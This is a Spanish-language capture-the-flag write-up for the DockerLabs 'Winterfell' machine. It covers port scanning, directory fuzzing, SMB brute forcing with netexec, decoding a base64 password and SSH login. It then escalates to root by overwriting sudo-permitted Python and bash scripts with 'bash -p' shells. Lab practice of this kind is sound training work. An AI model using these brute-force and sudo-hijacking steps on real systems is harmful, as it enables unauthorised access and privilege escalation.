Maquina Winterfell
- OS: Linux
- Plataforma: DockerLabs
- Nivel: Easy
- Tags: #smb #password-reuse #sudo-abuse #python-hijacking #base64
Reconocimiento¶
Comienzo tirando un ping para comprobar la conectividad.
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.315 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.315/0.315/0.315/0.000 ms
Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.
> nmap -p- -sS -Pn -n --min-rate 5000 -vvv 172.17.0.2
----------------------------------------------------
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
- Puertos 22, 80, 139 y 445 abiertos.
Sobre los puertos abiertos realizo un segundo escaneo más profundo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.
> nmap -p 22,80,139,445 -sCV -sS -Pn -n --min-rate 5000 -vvv 172.17.0.2
----------------------------------------------------------------------
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 39:f8:44:51:19:1a:a9:78:c2:21:e6:19:d3:1e:41:96 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFmj291adBscTtJfFsqsJ5+SDL2UY2Tbus+5WLsH88PJy/OUEvfBIU55KCsbwB2DHv+GJoj1LiDHXNtrSHPjVlA=
| 256 43:9b:ac:9c:d3:0c:ad:95:44:3a:c3:fb:9e:df:3e:a2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPl+8RksbbFRCVnH38jgJ9ahUL7OROoJjSyOBkc4TxyV
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Juego de Tronos
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
MAC Address: BA:6A:21:B3:CA:59 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Puerto 22 SSH OpenSSH 9.2p1 Debian 2+deb12u3
- Puerto 80 HTTP Apache httpd 2.4.61 (Debian)
- Puertos 139 y 445 SMB Samba smbd 4.6.2
Enumeración¶
Puerto 80 HTTP¶
La página principal es una landing page temática de Juego de Tronos. En el contenido de la página podemos identificar posibles usuarios del sistema:
jondaenerysarya
Fuzzing de Directorios.
Utilicé gobuster para descubrir posibles recursos en el servidor web.
> gobuster dir -w /home/wndr/Tools/dictionaries/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://172.17.0.2/ -x html,php,js,py,txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 1729]
/server-status (Status: 403) [Size: 275]
/dragon (Status: 301) [Size: 309] [--> http://172.17.0.2/dragon/]
- Encuentro un directorio
/dragon
Accediendo al directorio /dragon encuentro un archivo de texto llamado EpisodiosT1 que contiene lo que parecen ser posibles contraseñas.
Descargo el archivo para utilizarlo como diccionario en posibles ataques de fuerza bruta.
Servicio SMB¶
Con smbmap procedo a enumerar y listar recursos compartidos del servicio SMB sin autenticación.
> smbmap -H 172.17.0.2
-------------------------------------------------------------------------------------------------------
[+] IP: 172.17.0.2:445 Name: 172.17.0.2
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
shared NO ACCESS
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debian)
nobody NO ACCESS Home Directories
- Vemos un recurso compartido llamado
sharedpero no tenemos acceso sin credenciales.
Explotación¶
Por ahora tengo 3 posibles usuarios y una lista de posibles contraseñas por lo cual puedo tratar de realizar un ataque de fuerza bruta sobre el servicio SMB utilizando netexec.
> nxc smb 172.17.0.2 -u possible_users.txt -p possible_passwords.txt
----------------------------------------------------------------
SMB 172.17.0.2 445 7BDD00394D8E [+] 7BDD00394D8E\jon:seacercaelinvierno
- Encuentro credenciales válidas:
jon:seacercaelinvierno
Ahora enumero los recursos SMB a los que el usuario jon tiene acceso.
> smbclient -L //172.17.0.2 -U jon
Password for [WORKGROUP\jon]:
-------------------------------------------
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shared Disk
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
- Tengo acceso al recurso
shared
Me conecto al recurso compartido shared para explorar su contenido.
> smbclient //172.17.0.2/shared -U jon
Password for [WORKGROUP\jon]:
-------------------------------------------------------------------------------
smb: \> ls
. D 0 Tue Jul 16 14:26:00 2024
.. D 0 Tue Jul 16 14:25:59 2024
proteccion_del_reino N 313 Tue Jul 16 14:26:00 2024
smb: \> get proteccion_del_reino
getting file \proteccion_del_reino of size 313 as proteccion_del_reino (76.4 KiloBytes/sec) (average 76.4 KiloBytes/sec)
- Encuentro y descargo un archivo llamado
proteccion_del_reino
Inspecciono el contenido del archivo descargado.
> cat proteccion_del_reino
Aria de ti depende que los caminantes blancos no consigan pasar el muro.
Tienes que llevar a la reina Daenerys el mensaje, solo ella sabra interpretarlo. Se encuentra cifrado en un lenguaje antiguo y dificil de entender.
Esta es mi contraseña, se encuentra cifrada en ese lenguaje y es -> aGlqb2RlbGFuaXN0ZXI=
El archivo contiene una contraseña codificada en Base64. Procedo a decodificarla.
- Contraseña decodificada:
hijodelanister
Con esta contraseña y los usuarios identificados anteriormente (jon, daenerys, arya), intento acceder por SSH.
> ssh jon@172.17.0.2
jon@172.17.0.2's password: hijodelanister
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-76-generic x86_64)
jon@7bdd00394d8e:~$ whoami
jon
- Acceso exitoso como el usuario
jon
Escalada de Privilegios¶
Dentro del sistema enumero binarios que pueda ejecutar con privilegios elevados.
> sudo -l
----------------------------------------------------------
User jon may run the following commands on 7bdd00394d8e:
(aria) NOPASSWD: /usr/bin/python3 /home/jon/.mensaje.py
- Puedo ejecutar el script
/home/jon/.mensaje.pycomo el usuarioariasin contraseña.
El script al parecer simplemente encripta mensajes.
> cat .mensaje.py
import hashlib
import getpass
def encriptar_mensaje():
mensaje = input('Ingrese el mensaje que desea encriptar: ')
mensaje_bytes = mensaje.encode('utf-8')
hash_obj = hashlib.sha256()
hash_obj.update(mensaje_bytes)
hash_resultado = hash_obj.hexdigest()
print(f'Mensaje Original: {mensaje}')
print(f'Hash SHA-256: {hash_resultado}')
if __name__ == '__main__':
usuario_actual = getpass.getuser()
if usuario_actual == 'jon' or usuario_actual == 'aria':
encriptar_mensaje()
else:
print('Lo siento, no tienes permiso para ejecutar este script.')
Esta es una oportunidad para realizar un Python Script Hijacking. Como tengo permisos de escritura sobre el script, puedo modificar su contenido para ejecutar comandos arbitrarios como el usuario aria.
Reemplazo el contenido del script con código que me otorgue una shell.
> jon@7bdd00394d8e:~$ rm /home/jon/.mensaje.py
> jon@7bdd00394d8e:~$ nano /home/jon/.mensaje.py
----------------------------------------------------
import os
os.system("bash -p")
----------------------------------------------------
Ejecuto el script modificado para migrar al usuario aria.
jon@7bdd00394d8e:~$ sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
aria@7bdd00394d8e:/home/jon$ whoami
aria
Migración a daenerys¶
Vuelvo a enumerar binarios con privilegios elevados, ahora como el usuario aria.
> sudo -l
----------------------------------------------------------
User aria may run the following commands on 7bdd00394d8e:
(daenerys) NOPASSWD: /usr/bin/cat, /usr/bin/ls
- Puedo ejecutar
catylscomo el usuariodaeneryssin contraseña.
Esto me permite leer archivos del directorio home de daenerys. Utilizo ls para listar el contenido.
> aria@7bdd00394d8e:/home/jon$ sudo -u daenerys /usr/bin/ls -lsa /home/daenerys
total 16
0 drwx------ 1 daenerys daenerys 0 Jul 16 2024 .
0 drwxr-xr-x 1 root root 6 Jul 16 2024 ..
4 -rw-r--r-- 1 daenerys daenerys 220 Mar 29 2024 .bash_logout
4 -rw-r--r-- 1 daenerys daenerys 3526 Mar 29 2024 .bashrc
4 -rw-r--r-- 1 daenerys daenerys 807 Mar 29 2024 .profile
0 drwxr-xr-x 1 root root 18 Jul 16 2024 .secret
4 -rw-rw-r-- 1 daenerys daenerys 277 Jul 16 2024 mensajeParaJon
- Encuentro un archivo interesante llamado
mensajeParaJon
Utilizo cat para leer el contenido del archivo.
> aria@7bdd00394d8e:/home/jon$ sudo -u daenerys /usr/bin/cat /home/daenerys/mensajeParaJon
Aria estare encantada de ayudar a Jon con la guerra en el norte, siempre y cuando despues Jon cumpla y me ayude a recuperar el trono de hierro.
Te dejo en este mensaje la contraseña de mi usuario por si necesitas llamar a uno de mis dragones desde tu ordenador.
!drakaris!
- Encuentro la contraseña de
daenerys:!drakaris!
Migro al usuario daenerys utilizando la contraseña encontrada.
> aria@7bdd00394d8e:/home/jon$ su daenerys
Password: !drakaris!
> daenerys@7bdd00394d8e:/home/jon$ whoami
daenerys
Escalada a root¶
Enumero nuevamente los privilegios sudo del usuario daenerys.
daenerys@7bdd00394d8e:/home/jon$ sudo -l
User daenerys may run the following commands on 7bdd00394d8e:
(ALL) NOPASSWD: /usr/bin/bash /home/daenerys/.secret/.shell.sh
- Puedo ejecutar el script
/home/daenerys/.secret/.shell.shcomo root sin contraseña.
Como tengo permisos de escritura sobre este script, puedo modificarlo para obtener una shell como root.
Reemplazo el contenido del script.
daenerys@7bdd00394d8e:~/.secret$ nano .shell.sh
daenerys@7bdd00394d8e:~/.secret$ cat .shell.sh
#!/bin/bash
bash -p
Ejecuto el script y obtengo acceso como root.
daenerys@7bdd00394d8e:~/.secret$ sudo /usr/bin/bash /home/daenerys/.secret/.shell.sh
root@7bdd00394d8e:/home/daenerys/.secret# whoami
root
root@7bdd00394d8e:/home/daenerys/.secret# id
uid=0(root) gid=0(root) groups=0(root)
PWNED


